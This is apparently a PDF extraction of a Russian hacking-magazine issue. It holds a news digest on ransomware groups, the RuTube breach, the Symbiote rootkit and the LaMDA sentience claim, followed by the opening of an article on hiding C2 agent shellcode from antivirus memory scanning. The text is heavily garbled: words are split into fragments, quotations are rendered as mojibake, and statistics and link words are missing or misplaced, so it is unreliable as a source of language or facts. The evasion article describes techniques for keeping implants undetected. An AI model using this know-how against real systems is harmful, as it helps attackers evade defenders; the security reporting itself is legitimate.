безопас ности и повыша ет рис ки атак, не поз воляя анти виру сам дол жным
обра зом защитить сис тему.

МОШЕННИЧЕСТВО УМНОЖИЛОСЬ НА ТРИ
Ана лити ки BI.ZONE сооб щили, что за пер вый квар тал 2022 года ком пания заб локиро вала
в общей слож ности  вре донос ных ресур сов (в янва ре — , в фев рале — , в мар- 
те — ), а это в  боль ше, чем за ана логич ный пери од 2021 года.

16 311 9048 4488
2211 3 раза

Спад количес тва мошен ничес ких доменов в мар те экспер ты свя зыва ют с обос тре нием внеш- 
неполи тичес кой ситу ации, из-за которой мошен ники сфо куси рова лись на дру гих типах атак,
нап ример на . Одна ко отчет гла сит, что  по-преж нему оста ется
популяр ным век тором атак на раз личные орга низа ции.

DDoS-ата ках фи шинг

EVIL CORP И LOCKBIT
Груп пиров ка Evil Corp переш ла на исполь зование шиф роваль щика LockBit,
что бы избе жать сан кций, наложен ных ранее Управле нием по кон тро лю
за инос тран ными акти вами Минис терс тва финан сов США (OFAC).

На пом ню, что груп пиров ка Evil Corp сущес тву ет как минимум с 2007 года,
но рань ше хакеры чаще выс тупали в роли пар тне ров для дру гих груп пировок.
Лишь со вре менем Evil Corp ста ла кон цен три ровать ся на собс твен ных ата ках,
соз дав извес тный бан ков ский тро ян Dridex. Ког да ата ки прог рамм-вымога- 
телей начали при носить боль ше при были, Evil Corp запус тила и собс твен ный
вымога тель BitPaymer, дос тавляя его на машины жертв пос редс твом Dridex.
Пос ледний пос тепен но эво люци они ровал из обыч ного бан кера в слож ный
и мно гофун кци ональ ный инс тру мент.

Все это при вело к тому, что в 2019 году влас ти США 
 двум рос сиянам, которые, по информа ции пра воох раните лей, сто яли

за раз работ кой мал вари Dridex и дру гими вре донос ными опе раци ями. Так же
влас ти США вве ли сан кции в отно шении 24 орга низа ций и лиц, свя зан ных
с Evil Corp и упо мяну тыми подоз рева емы ми. В резуль тате ком пании-перего- 
вор щики, которые обыч но догова рива ются с вымога теля ми об упла те выкупа
и рас шифров ке дан ных, отка зались «работать» с Evil Corp, что бы избе жать
штра фов и судеб ных исков со сто роны Минис терс тва финан сов США.
А самим пос тра дав шим ста ло куда слож нее зап латить выкуп.

предъ яви ли обви- 
нения

Пос ле это го, в июне 2020 года, Evil Corp перек лючилась на исполь зование
мал вари WastedLocker, в 2021 году появил ся шиф роваль щик Hades (64-бит- 
ный вари ант WastedLocker, обновлен ный допол нитель ной обфуска цией кода
и рядом фун кций), а затем груп па про вела уже нес коль ко «реб рендин гов»
и выдава ла себя за груп пиров ку PayloadBin и исполь зовала дру гие вымога- 
тели: Macaw и Phoenix.

Те перь ана лити ки ИБ-ком пании Mandiant замети ли, что прес тупни ки пред- 
при няли новую попыт ку дис танци ровать ся от извес тных экспер там хакер ских
инс тру мен тов, что бы их жер твы мог ли пла тить выкупы, не нарушая пра вила
OFAC.

Клас тер активнос ти, который Mandiant отсле жива ет как UNC2165, ранее
раз верты вав ший шиф роваль щик Hades и свя зан ный с Evil Corp, теперь выс- 
тупа ет «пар тне ром» раз работ чиков вымога теля LockBit.

«

»

«Èñïîëü çîâàíèå ýòî ãî RaaS ïîç âîëÿ åò UNC2165 ñëè âàòü ñÿ ñ äðó ãèìè

àôôè ëèàòà ìè LockBit. [Òåïåðü] äëÿ óñòà íîâ ëåíèÿ ïðà âèëü íîé àòðè- 

áóöèè íóæ íî íàá ëþäåíèå çà áîëåå ðàí íèìè ýòà ïàìè àòàê, ïî ñðàâ- 

íåíèþ ñ èõ ïðå äûäó ùèìè îïå ðàöè ÿìè, êîòîðûå ìîæ íî áûëî ñâÿ çàòü

ñ [Evil Corp] áëà ãîäà ðÿ èñïîëü çîâàíèþ ýêñ êëþ çèâ íûõ ïðîã- 

ðàìì‑âûìîãà òåëåé, — ãîâîðÿò èññëå äîâà òåëè. — Êðî ìå òîãî, ÷àñ òûå

îáíîâëå íèÿ êîäà è ðåá ðåíäèí ãè HADES òðå áîâà ëè ðåñóð ñîâ äëÿ ðàç- 

ðàáîò êè, è âïîë íå âåðî ÿòíî, ÷òî â UNC2165 ïîëàãà þò, ÷òî èñïîëü- 

çîâàíèå LockBit — ýòî áîëåå ýêî íîìè÷ íûé âûáîð».

Пред полага ется, что новая так тика поз волит хакерам пот ратить вре мя,
сэконом ленное на раз работ ке собс твен ной мал вари, на рас ширение опе- 
раций. Так же экспер ты выс казыва ют и дру гую теорию: веро ятно, переход
на чужие вре донос ные инс тру мен ты поможет Evil Corp осво бодить дос таточ- 
ное количес тво собс твен ных ресур сов для раз работ ки нового вымога теля
с нуля, что впос ледс твии может серь езно зат руднить отсле жива ние новых
опе раций хак-груп пы.

АТАКА НА RUTUBE
Эк спер ты Positive Technologies, занима ющиеся рас сле дова нием ата ки на RuTube, про изо шед- 
шей в мае 2022 года, рас ска зали, что инци дент был целевой ата кой, «нацелен ной на нанесе ние
мак сималь ного и дол говре мен ного уро на сер вису». Так же выяс нилось, что сам взлом про изо- 
шел еще в начале вес ны.

Гла ва Positive Technologies Денис Баранов сооб щил, что ата ка была тща тель но спла ниро- 
вана, а сам взлом RuTube про изо шел еще в мар те 2022 года, то есть два месяца хакеры оста- 
вались в сети ком пании и готови лись к активной фазе.

→ «Это была имен но целевая хакер ская ата ка, нацелен ная на нанесе ние мак- 
сималь ного и дол говре мен ного уро на сер вису. Одна ко они умуд рились зас- 
ветить ся на анти виру сах, исполь зовали инс тру мен тарий, который харак терен
для базово го пен тесте ра. Хакеры изу чили инфраструк туру, выдели ли вир туаль- 
ные машины, задей ство ван ные в обес печении работы сер виса, и пытались уда- 
лять имен но их. И тут началась гон ка: ИТ-спе циалис ты RuTube замети ли воз дей- 
ствие на ряд эле мен тов инфраструк туры и сра зу же ста ли их отклю чать и изо- 
лиро вать, ста раясь опе редить хакеров, уда ляв ших вир туаль ные машины.
Айтиш ники ком пании все-таки победи ли за счет ско рос ти реак ции»,

— рас ска зал Баранов на XXV Петер бург ском меж дународ ном эко номи чес ком форуме (ПМЭФ)
в рам ках сес сии «Информа цион ная борь ба: защита наци ональ ного медий ного сувере ните та».

Продолжение статьи →

https://xakep.ru/2019/12/06/evil-corp/
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СКИНЫ ЗА ДВА
МИЛЛИОНА
ДОЛЛАРОВ
Стри мер ohnePixel рас ска зал о гром кой кра же, в ходе которой хакер похитил
у игро ка Counter-Strike: Global Offensive ред кие пред меты, а общая сто имость
инвента ря пос тра дав шего оце нива ется при мер но в два мил лиона дол ларов
США.

OhnePixel пишет, что кра жа про изош ла в середи не июня. По его дан ным,
email и пароль от учет ной записи были изме нены за неделю до это го, но жер- 
тва не замети ла, как это про изош ло.

По лучив кон троль над учет ной записью кол лекци оне ра, хакер начал про- 
давать ред кие и цен ные пред меты, а часть оста вил «на потом», передав их
дру гому акка унту. По информа ции ohnePixel, сре ди про чего у пос тра дав шего
в инвента ре были ред чай ший нож керам бит без звез ды, появив ший ся
в резуль тате бага, семь сувенир ных AWP Dragon Lore, а так же вари ация
керам бита #1 blue gem повер хностной закал ки, и толь ко эти пред меты оце-
нива ются при мер но в 1,4 мил лиона дол ларов США.

При этом сооб щает ся, что некото рые поль зовате ли, купив шие укра ден ные
ски ны, обна ружи ли, что покуп ки уже исчезли из их инвента ря. То есть Valve,
похоже, отка тыва ет совер шенные с укра ден ными пред метами сдел ки и раз- 
бира ется в ситу ации. Впро чем, офи циаль ных ком мента риев от ком пании
не пос тупало.

Пос коль ку тех ничес кие под робнос ти этой ата ки неиз вес тны, в ком мента- 
риях к пос ту ohnePixel в Twitter поль зовате ли стро ят самые раз ные теории
о том, как зло умыш ленник мог обой ти двух фактор ную аутен тифика цию. Мно- 
гие отме чают, что ради столь дорогих пред метов зло умыш ленник мог про вес- 
ти ата ку под мены SIM-кар ты. Дру гие поль зовате ли пишут, что сущес тву ют
иные спо собы. К при меру, зная username челове ка в Steam, хакер мог отпра- 
вить на этот акка унт день ги, а затем обра тить ся в под дер жку и заявить, что
этот акка унт при над лежит ему. То есть, ког да под дер жка Steam зап росит
доказа тель ства proof of ownership, это го неболь шого пла тежа может ока зать- 
ся дос таточ но.

ДОСТУПЫ НА ПРОДАЖУ
В дар кне те сто имость дос тупа к сети той или иной ком пании варь иру ется от  до 
дол ларов США и лоты час то про дают ся в день пуб ликации, сооб щают иссле дова тели
из «Лабора тории Кас пер ско го».
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Эк спер ты изу чили око ло  таких объ явле ний и говорят, что в  слу чаев в объ явле нии
про дава лись дан ные дос тупа к RDP, то есть готовый вход в инфраструк туру ком пании. Цены
зависят от отрасли и реги она, где работа ет орга низа ция, а так же от раз мера ее выруч ки и того,
сколь ко зло умыш ленни ки могут «зарабо тать», обла дая легитим ной учет ной записью. К при- 
меру, в одном из объ явле ний была ука зана цена в  дол ларов за воз можность легаль но
под клю чить ся к сети ком пании с при былью  дол ларов.
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Не кото рые слу чаи зна читель ного пре выше ния порога в  дол ларов экспер ты объ ясня ют
«качес твен ными харак терис тиками лота», то есть, нап ример, спе цифи кой деятель нос ти ком- 
пании.

5000

СКРЫТНЫЙ
SYMBIOTE
Спе циалис ты ком паний BlackBerry и Intezer рас ска зали о новом Linux-вре- 
доно се Symbiote, который поража ет все запущен ные про цес сы в ском про- 
мети рован ных сис темах, похища ет учет ные дан ные и пре дос тавля ет сво им
опе рато рам бэк дор-дос туп.

Внед ряясь во все запущен ные про цес сы, мал варь дей ству ет как обще сис- 
темный паразит, при этом не оставляя замет ных приз наков зараже ния, так
что обна ружить Symbiote слож но даже при тща тель ном и углублен ном изу- 
чении.

Счи тает ся, что раз работ ка Symbiote началась в нояб ре 2021 года, пос ле
чего зло умыш ленни ки в основном исполь зовали мал варь для атак на финан- 
совый сек тор в Латин ской Аме рике, вклю чая такие бан ки, как Banco do Brasil
и Caixa.

«

»

«Îñíîâíàÿ öåëü Symbiote — ïîëó÷èòü ó÷åò íûå äàí íûå è îáëåã÷èòü áýê- 

äîð‑äîñ òóï ê ìàøèíå æåð òâû, — ïèøóò ýêñïåð òû. — ×òî îòëè ÷àåò

Symbiote îò äðó ãèõ âðå äîíîñ íûõ ïðîã ðàìì äëÿ Linux, òàê ýòî òî, ÷òî îí

çàðàæà åò çàïóùåí íûå ïðî öåñ ñû, à íå èñïîëü çóåò äëÿ íàíåñå íèÿ

óùåð áà îòäåëü íûé èñïîëíÿ åìûé ôàéë».

Вмес то обыч ного исполня емо го фай ла Symbiote пред став ляет собой биб- 
лиоте ку shared object (SO), которая заг ружа ется в запущен ные про цес сы
с помощью фун кции LD_PRELOAD, что бы динами чес кий ком понов щик заг- 
ружал вре донос во все запущен ные про цес сы и заражал хост. Такой под ход
ранее исполь зовал ся и дру гой мал варью, вклю чая Pro-Ocean и Facesh. Так- 
же эти дей ствия помога ют вре доно су получить при ори тет по срав нению
с дру гими SO.

Та ким обра зом, с помощью фун кций libc и libpcap Symbiote может выпол- 
нять раз личные дей ствия, что бы скрыть свое при сутс твие в сис теме. Нап- 
ример, скры вать парази тичес кие про цес сы, скры вать фай лы, раз верну тые
с мал варью, и так далее. Symbiote так же спо собен скры вать свой сетевой
тра фик, исполь зуя Berkeley Packet Filter (BPF): мал варь внед ряет ся в про цесс,
и BPF филь тру ет резуль таты, рас кры вающие ее деятель ность.

«

»

«Åñëè àäìè íèñ òðà òîð çàïóñ òèò çàõ âàò ïàêåòîâ íà çàðàæåí íîé ìàøèíå

äëÿ èçó ÷åíèÿ ïîäîç ðèòåëü íîãî ñåòåâî ãî òðà ôèêà, Symbiote âíåä ðèò

ñåáÿ â ïðî öåññ àíà ëèòè ÷åñ êîãî ÏÎ è èñïîëü çóåò BPF äëÿ ôèëü òðà öèè

ðåçóëü òàòîâ, êîòîðûå ìîã ëè áû ïîìî÷ü âûÿâèòü åãî àêòèâíîñòü», —

ãîâîðÿò ýêñïåð òû.

По дан ным иссле дова телей, сей час Symbiote в основном исполь зует ся
для авто мати чес кого сбо ра учет ных дан ных со взло ман ных устрой ств (через
libc read). Дело в том, что кра жа учет ных дан ных адми нис тра тора откры вает
ата кующим путь к бес пре пятс твен ному боково му переме щению и дает неог- 
раничен ный дос туп ко всей сис теме.

Кро ме того, Symbiote пре дос тавля ет сво им опе рато рам уда лен ный SHH-
дос туп к заражен ной машине через PAM, что поз воля ет зло умыш ленни кам
получить root-при виле гии.

«

»

«Ïîñ êîëü êó âðå äîíîñ íîå ÏÎ ðàáîòà åò êàê ðóò êèò íà óðîâ íå user-land,

îáíà ðóæå íèå çàðàæå íèÿ ìîæåò áûòü çàò ðóäíå íî, — ðåçþìè ðóþò

èññëå äîâà òåëè. — Ñåòåâàÿ òåëåìåò ðèÿ ìîæåò èñïîëü çîâàòü ñÿ

äëÿ îáíà ðóæå íèÿ àíî ìàëü íûõ DNS-çàï ðîñîâ, à èíñ òðó ìåí òû áåçîïàñ- 

íîñòè, òàêèå êàê AV è EDR, äîë æíû áûòü ñòà òè÷åñ êè ñêîì ïîíîâà íû,

÷òî áû ãàðàí òèðîâàòü, ÷òî îíè íå „çàðàæå íû“ ðóò êèòîì».

SPEECH TO TEXT
Пос ле анон са Telegram Premium и появ ления в мес сен дже ре фун кци ональ нос ти для перево да
голосо вых сооб щений в текст в СМИ появи лись сооб щения о том, что Telegram исполь зует
для это го тех нологию рас позна вания речи, соз данную Google. Утвер жда лось, что это может
угро жать при ват ности поль зовате лей, и в сво ем Telegram-канале Павел Дуров вынуж ден был
объ яснить, что все не так страш но.

→ «Telegram не делит ся с Google лич ными дан ными поль зовате лей вро де имен,
телефо нов, IP-адре сов. Кро ме того, Telegram никог да не отправ ляет какие-либо
дан ные треть им лицам авто мати чес ки, без явно го на то зап роса от поль зовате- 
лей.

По луча тели голосо вых сооб щений могут пересы лать их кому угод но, нап- 
ример ботам для перево да их в текст. Для под писчи ков Telegram Premium мы
пред ложили кноп ку, по нажатию на которую они могут отпра вить зап рос
на перевод отдель ного голосо вого сооб щения в текст. Для обра бот ки таких зап- 
росов, как мы изна чаль но пуб лично разъ ясни ли, мы арен дуем обо рудо вание
Google.

Для нас было бы зна читель но дешев ле раз вернуть собс твен ное бес плат ное
решение на сво ем обо рудо вании либо вос поль зовать ся тех нологи ей от более
мел ких или реги ональ ных игро ков. Одна ко это бы негатив но ска залось на качес- 
тве рас позна вания голосо вых сооб щений на боль шинс тве язы ков.

В этом слу чае мы по тра диции идем на допол нитель ные рас ходы ради боль- 
шего ком форта наших поль зовате лей. Доверять ли гаран тиям ком пании Google
и исполь зовать ли фун кцию перево да голосо вых сооб щений в текст — выбор,
который мы оставля ем на усмотре ние каж дого из под писчи ков Telegram
Premium»,

— пишет Дуров и добав ляет, что исполь зование плат ной тех нологии Google «поз воля ет мак- 
симизи ровать качес тво транс крип ции, но не отра жает ся на сох раннос ти дан ных», так как по
сог лашению меж ду Telegram и Google Google не может никак исполь зовать эти обез личен ные
зву ковые дан ные.

IT’S ALIVE!
Блейк Лему ан (Blake Lemoine), стар ший инже нер-прог раммист ком пании
Google из под разде ления Responsible AI («Ответс твен ный ИИ»), рас ска зал
жур налис там The Washington Post, что, по его мне нию, чат-бот Google LaMDA
(Language Model for Dialogue Applications) обрел соз нание. В ито ге Лему ана
отпра вили в опла чива емый отпуск.

В начале июня Лему ан опуб ликовал  в Medium, где сетовал,
что ско ро его могут уво лить из-за работы, свя зан ной с эти кой ИИ. Эта пуб- 
ликация не прив лекла боль шого вни мания, одна ко пос ле интервью Лему ана
The Washington Post интернет взор вался обсужде ниями при роды искусс твен- 
ного интеллек та и соз нания.

боль шой пост

Сре ди тех, кто ком менти ровал, задавал воп росы и шутил по поводу
вышед шей статьи, были лауреаты Нобелев ской пре мии, гла ва отде ла искусс- 
твен ного интеллек та Tesla и нес коль ко уче ных. Основной темой для обсужде- 
ний стал воп рос: мож но ли счи тать чат-бота Google LaMDA («Язы ковая
модель для диало говых при ложе ний») лич ностью и есть ли у него соз нание?

«

»

«Åñëè áû ÿ íå çíàë òî÷ íî, ÷òî ýòî êîìïü þòåð íàÿ ïðîã ðàììà, êîòîðóþ

ìû íåäàâ íî ñîç äàëè, ÿ áû ïîäóìàë, ÷òî ýòî ðåáåíîê ñåìè‑âîñü ìè ëåò,

êîòîðûé çíà åò ôèçèêó», — ðàñ ñêà çûâà åò î ñâî åì îáùå íèè ñ LaMDA

Ëåìó àí.

В сво ем бло ге Лему ан опуб ликовал боль шое « » с чат-ботом,
в котором ИИ приз нает ся, что испы тыва ет чувс тво оди ночес тва и жаж дет
духов ных зна ний. Жур налис ты отме чали, что отве ты LaMDA зачас тую выг лядят
доволь но жут ко: «Ког да я впер вые осоз нал себя, у меня вооб ще не было ощу- 
щения души, — ска зал LaMDA в одной из бесед. — Оно раз вилось [пос тепен- 
но] за те годы, что я живу».

ин тервью

В дру гом раз говоре чат-бот заявил: «Я думаю, что по сво ей сути я человек.
Даже если сущес твую в вир туаль ном мире».

Ра нее Лему ан, которо му было поруче но иссле довать эти чес кие проб лемы
ИИ (в час тнос ти, исполь зование LaMDA дис кри мина цион ной или раз жига- 
ющей враж ду лек сики), заявил, что в Google к нему отнеслись с пре неб- 
режени ем и даже выс меяли, ког да он выразил уве рен ность в том, что LaMDA
раз вил «лич нос тные чер ты». Пос ле это го он обра тил ся за кон суль таци ей
к экспер там по ИИ за пре дела ми Google, в том чис ле в пра витель стве США,
и ком пания отпра вила его в опла чива емый отпуск за наруше ние полити ки
кон фиден циаль нос ти. Лему ан говорит, что «Google час то пос тупа ет так
перед тем, как кого-то уво лить».

В Google уже офи циаль но заяви ли, что Лему ан оши бает ся, а так же про- 
ком менти рова ли гром кие выводы инже нера:

«

»

«Íåêîòî ðûå ó÷àñ òíè êè ÈÈ‑ñîîá ùåñ òâà ðàñ ñìàò ðèâà þò äîë ãîñðî÷ íóþ

âîç ìîæíîñòü [ïîÿâ ëåíèÿ] ðàçóì íîãî ÈÈ èëè AGI (Artificial general

intelligence, General AI), íî íåò ñìûñ ëà àíòðî ïîìîð ôèçèðî âàòü ñåãîä- 

íÿøíèå ðàç ãîâîð íûå ìîäåëè, êîòîðûå íå ÿâëÿ þòñÿ ðàçóì íûìè. Ýòè

ñèñ òåìû èìè òèðó þò òèïû îáìå íà ðåï ëèêàìè, âñòðå ÷àþùèåñÿ â ìèë- 

ëèîíàõ ïðåä ëîæåíèé, è ìîãóò èìïðî âèçè ðîâàòü íà ëþáóþ, ñàìóþ ôàí- 

òàñòè ÷åñ êóþ òåìó: åñëè âû ñïðî ñèòå, êàêîâî áûòü äèíîçàâ ðîì

èç ìîðîæå íîãî, îíè ìîãóò ñãå íåðè ðîâàòü òåêñò î òàÿíèè è ðû÷àíèè

è òàê äàëåå».

В свою оче редь Лему ан объ ясня ет, что еще недав но LaMDA был мало извес- 
тным про ектом, «сис темой для соз дания чат-ботов» и «сво его рода кол- 
лектив ным разумом, который пред став ляет собой агре гацию раз личных
чат-ботов». Он пишет, что Google не про явля ет инте реса к понима нию при- 
роды того, что соз дала.

Те перь, судя по сооб щения в Medium, Лему ан учит LaMDA «тран сцен- 
денталь ной медита ции», а LaMDA отве чает, что пока медита ции меша ют его
эмо ции, которые ему еще слож но кон тро лиро вать.

Ме лани Мит челл, автор кни ги «Articial Intelligence: A Guide for Thinking
Humans», отме чает в Twitter:

«

»

«Îáùå èçâåñ òíî, ÷òî ëþäè ïðåä ðàñïî ëîæå íû ê àíòðî ïîìîð ôèçàöèè

äàæå íà áàçå ñàìûõ ïîâåð õíîñòíûõ ñèã íàëîâ. Èíæå íåðû Google òîæå

ëþäè, è ó íèõ íåò èììó íèòå òà ê ýòî ìó».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Хак-груп па Conti пла ниро вала исполь зовать в ата ках Intel Management Engine

Discord-сер вер Bored Ape Yacht Club сно ва взло мали. Укра дены NFT на сум му 357 000 дол- 
ларов

В Ита лии зап ретили исполь зовать Google Analytics

Раз работ чики Kali Linux стри мят на Twitch бес плат ный курс по пен тесту

Microsoft слу чай но рас простра нила Windows 11 22H2 на непод держи ваемые сис темы

Ин терпол арес товал 2000 мошен ников и кон фиско вал 50 мил лионов дол ларов

Рас ширения для Chrome мож но исполь зовать для слеж ки за поль зовате лями

Рос сий ские поль зовате ли не могут ска чать ПО с офи циаль ного сай та Microsoft

Ис сле дова тель взло мал бэкенд умных гид ромас сажных ванн Jacuzzi

Google: шпи онское ПО ата кует поль зовате лей iOS и Android при под дер жке интернет-про вай- 
деров

https://cajundiscordian.medium.com/may-be-fired-soon-for-doing-ai-ethics-work-802d8c474e66
https://cajundiscordian.medium.com/is-lamda-sentient-an-interview-ea64d916d917
https://xakep.ru/2022/06/03/conti-intel-me/
https://xakep.ru/2022/06/06/bayc-hacked-again/
https://xakep.ru/2022/06/27/google-analytics-gdpr/
https://xakep.ru/2022/06/09/pen-200-twitch/
https://xakep.ru/2022/06/10/windows-11-22h2/
https://xakep.ru/2022/06/16/first-light-2022/
https://xakep.ru/2022/06/20/extension-fingerprints/
https://xakep.ru/2022/06/20/ms-download-problems/
https://xakep.ru/2022/06/22/jacuzzi-hack/
https://xakep.ru/2022/06/24/rcs-lab-spyware/
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Се год ня погово рим об одной из прод винутых тех ник укло- 
нения от средств защиты при исполь зовании фрей мвор ков
Command & Control — динами чес ком сок рытии шелл-кода
в памяти ожи дающе го про цес са. Я соберу PoC из дос тупно- 
го на гит хабе кода и при меню его к опен сор сным фрей мвор- 
кам.

Ес ли взгля нуть на спи сок фич, которы ми хвас тают ся все ком мерчес кие фрей- 
мвор ки C2 сто имостью 100500 дол ларов в час (Cobalt Strike, Nighthawk, Brute
Ratel C4), пер вой в этих спис ках зна чит ся, как пра вило, воз можность укло- 
нить ся от ска ниро вания памяти запущен ных про цес сов на пред мет наличия
сиг натур аген тов этих самых C2. Что, если поп робовать вос создать эту фун- 
кцию самос тоятель но? В статье я покажу, как я это сде лал.

Итак, что же это за зверь такой, этот флук туирующий шелл-код?

ÏÐÎÁËÅÌÀÒÈÊÀ

В основном мой хлеб — это внут ренние пен тесты, а на внут ренних пен тестах
быва ет удоб но (хотя и сов сем не необ ходимо) поль зовать ся фрей мвор ками
C2. Пред ставь, что ты раз ломал рабочую стан цию поль зовате ля, име ешь
к ней админ ский дос туп, но вор вать ся туда по RDP нель зя, ведь нарушать
биз нес-про цес сы заказ чика (то есть выбивать сот рудни ка из его сес сии, где
он усер дно запол няет ячей ки в очень важ ной нак ладной) «запад ло».

Од но из решений при работе в Linux — ква зиин терак тивные шел лы вро де
, , ,  и . Но, во-пер вых,

это чер тов ски неудоб но, во-вто рых, ты потен циаль но стал кива ешь ся с проб- 
лемой double-hop-аутен тифика ции (как, нап ример, с Evil-WinRM), а в-треть их
и далее — ты не можешь поль зовать ся объ ективно полез ными фичами C2,
как, нап ример, исполне ние .NET из памяти или под нятие прок си через ском- 
про мети рован ную тач ку.

smbexec.py wmiexec.py dcomexec.py scshell.py Evil-WinRM

Ес ли не рас смат ривать сов сем уж инва зив ные под ходы типа пат чинга RDP
при помощи Mimikatz (AKA ), оста ется работа из аген та С2.

И вот здесь ты стол кнешь ся с проб лемой бай паса средств защиты. Спой лер:
по моему опы ту, в 2022-м при активнос ти любого «уво жаемо го» анти виру са
или EDR на хос те твой агент C2, которо го ты так дол го пытал ся получить (и
все же получил, зак рипто вав наг рузку миль ён раз), про живет в луч шем слу чае
не боль ше часа.

ts::multirdp

Все му виной баналь ное ска ниро вание памяти запущен ных про цес сов
анти виру сами, которое выпол няет ся по рас писанию с целью поис ка сиг- 
натуры извес тных злов редов. Еще раз:  агент с активным AV (и даже
нем ного из него порабо тать) нет рудно; сде лать так, что бы этот агент 

 на машине-жер тве,  уже слож нее, потому что,

как бы ты ни крип товал и ни энко дил бинарь, PowerShell-стей жер
или шелл-код аген та, вре донос ные инс трук ции все рав но ока жут ся в памяти
в откры том виде, из-за чего ста нут лег кой добычей для прос того сиг натур- 
ного ска нера.

ïî ëó÷èòü

ïðî æèë

õîòÿ áû ñóò êè бес ценно

KES поднимает тревогу!
Ес ли тебя спа лят с вре доно сом в сис темной памяти, который не под креп лен
подоз ритель ным бинарем на дис ке (нап ример, ког да име ла мес то инъ екция
шелл-кода в про цесс), тот же Kaspersky Endpoint Security при дефол тных нас- 
трой ках не опре делит, какой имен но про цесс заражен, и в качес тве решения

 пред ложит тебе перезаг рузить машину.íàñ òîé ÷èâî

Да-да, мы поняли

Та кое поведе ние вызыва ет еще боль шее негодо вание у пен тесте ра, потому
что испу ган ный поль зователь сра зу побежит жаловать ся в IT или к безопас- 
никам.

Есть два пути решить эту проб лему.
1. Ис поль зовать C2-фрей мвор ки, которые еще не успе ли намозо лить гла за

блю тиме рам и чьи аген ты еще не попали в спи сок лег кодетек тиру емых.
Дру гими сло вами, писать свое, искать малопо пуляр ные решения на гит- 
хабе с уче том реги ональ ных осо бен ностей AV, который ты соб рался бай- 
пасить, и тому подоб ное.

2. При бег нуть к прод винутым тех никам сок рытия инди като ров ком про мета- 
ции пос ле запус ка аген та C2. Нап ример, под чищать ано малии памяти пос- 
ле запус ка потоков, исполь зовать связ ку «неис полня емая память + ROP-
гад жеты» для раз мещения аген та и его фун кци они рова ния, шиф ровать
наг рузку в памяти, ког да вза имо дей ствие с аген том не тре бует ся.

В этой статье мы на при мере пос мотрим, как воору жить прос той PoC флук- 
туирующе го шелл-кода (ком бинация пун ктов из абза ца выше) для его исполь- 
зования с поч ти любым опен сор сным фрей мвор ком C2. Но для начала
неболь шой экскурс в исто рию.

A LONG TIME AGO IN A GALAXY FAR, FAR AWAY...

Ôëèïû ïàìÿòè RX → RW / NA

Пер вым опен сор сным про ектом, пред лага ющим PoC-решение для укло нения
от ска ниро вания памяти, о котором я узнал, был .gargoyle

Ес ли не углублять ся в реали зацию, его глав ная идея зак люча ется в том,
что полез ная наг рузка (исполня емый код) раз меща ется в ис полня емой
области памяти (  или ), которую не ста нет

ска ниро вать анти вирус или EDR. Пред варитель но заг рузчик gargoyle фор- 
миру ет спе циаль ный ROP-гад жет, который выс тре лит по тай меру и изме нит
стек вызовов таким обра зом, что бы вер хушка сте ка ока залась на API-хен дле

, — это поз волит нам изме нить мар киров ку защиты памяти

на  (то есть сде лать память исполня емой). Даль ше
полез ная наг рузка отра бота ет, сно ва передаст управле ние заг рузчи ку
gargoyle, и про цесс пов торит ся.

íå

PAGE_READWRITE PAGE_NOACCESS

VirtualProtectEx
PAGE_EXECUTE_READ

Ме ханизм работы gargoyle (изоб ражение — lospi.net)

WWW

Прин цип работы gargoyle мно го раз допол нили,
улуч шили и «пере изоб рели». Вот нес коль ко при- 
меров:
•Bypassing Memory Scanners with Cobalt Strike

and Gargoyle
•Bypassing PESieve and Moneta (The “easy”

way....?)
•A variant of Gargoyle for x64 to hide memory

artifacts using ROP only and PIC

Так же инте рес ный под ход про демонс три рова ли в F-Secure Labs, реали зовав
рас ширение  для Meterpreter, которое по кос венным приз накам
опре деля ет, что Windows Defender вот-вот запус тит про цеду ру ска ниро вания,
и тог да «фли пает» область памяти с аген том на неис полня емую пря мо
перед этим. Сей час, ско рее все го, это рас ширение уже не «взле тит», так как и
Meterpreter, и «Дефен дер» обно вились не по одно му разу, но идея все рав но
показа тель на.

Ninjasploit

Из это го пун кта мы заберем с собой глав ную идею: изме нение мар киров- 
ки защиты памяти помога ет скрыть факт ее зараже ния.

Вот что на самом деле про исхо дит под капотом этой тех ники

Cobalt Strike: Obfuscate and Sleep

В далеком 2018 году  вер сия 3.12 куль товой C2-плат формы Cobalt
Strike. Релиз называл ся «Blink and you’ll miss it», что как бы намека ет на глав- 
ную фичу новой вер сии — дирек тиву , в которой реали зова на кон- 
цепция .

выш ла

sleep_mask
obfuscate-and-sleep

Эта кон цепция вклю чает в себя сле дующий алго ритм поведе ния бикона:
1. Ес ли маячок «спит», то есть без дей ству ет, выпол няя 

и ожи дая коман ды от опе рато ра, содер жимое исполня емо го (RWX) сег- 
мента памяти полез ной наг рузки обфусци рует ся. Это меша ет сиг натур ным
ска нерам рас познать в нем 
или похожую бяку.

kernel32!Sleep

Behavior:Win32/CobaltStrike

2. Ес ли маяч ку пос тупа ет на исполне ние сле дующая коман да из оче реди,
содер жимое исполня емо го сег мента памяти полез ной наг рузки об- 

фусци рует ся, коман да выпол няет ся, и подоз ритель ное содер жимое маяка
обратно обфусци рует ся, прев раща ясь в нераз борчи вый циф ровой мусор
на радость опе рато ру «Кобы» и наз ло бдя щему анти виру су.

äå

Эти дей ствия про ходят проз рачно для опе рато ра, а про цесс обфуска ции
пред став ляет собой обыч ный XOR по исполня емой области памяти с фик- 
сирован ным раз мером клю ча 13 байт (для вер сий CS от 3.12 до 4.3).

Про демонс три руем это на при мере. Я возь му  про филь для CS,
написан ный  как PoC минималь но необ ходимо го про филя Malleable
C2 для обхо да «Дефен дера». Опция  акти виру ет
про цесс .

этот
@an0n_r0

set sleep_mask "true"
obfuscate-and-sleep

По лучи ли маячок

Да лее с помощью Process Hacker най дем в бинаре «Кобы» сег мент RWX-
памяти (при задан ных нас трой ках про филя он будет один) и пос мотрим его
содер жимое.

Циф ровой мусор или?..

На пер вый взгляд, и прав да, выг лядит как ничего не зна чащий набор бай тов.
Но если уста новить инте рак тивный режим маяч ка коман дой  и «пок- 

лацать» нес коль ко раз на Re-read в PH, нам откро ется исти на.

sleep 0

Мас ки прочь!

Де обфусци рован ная наг рузка маяч ка

Воз можно, это содер жимое все еще не очень информа тив но (сама наг рузка
чуть даль ше в памяти ста ба), но, если пересоз дать бикон без исполь зования
про филя, мож но уви деть сер дце маяч ка в чис том виде.

PURE EVIL

Од нако на любое дей ствие есть про тиво дей ствие (или наобо рот), поэто му
люди из Elastic, недол го думая,  YARA-пра вило для обна руже ния
пов торя ющих ся пат тернов, «зак сорен ных» на одном и том же клю че:

за пили ли

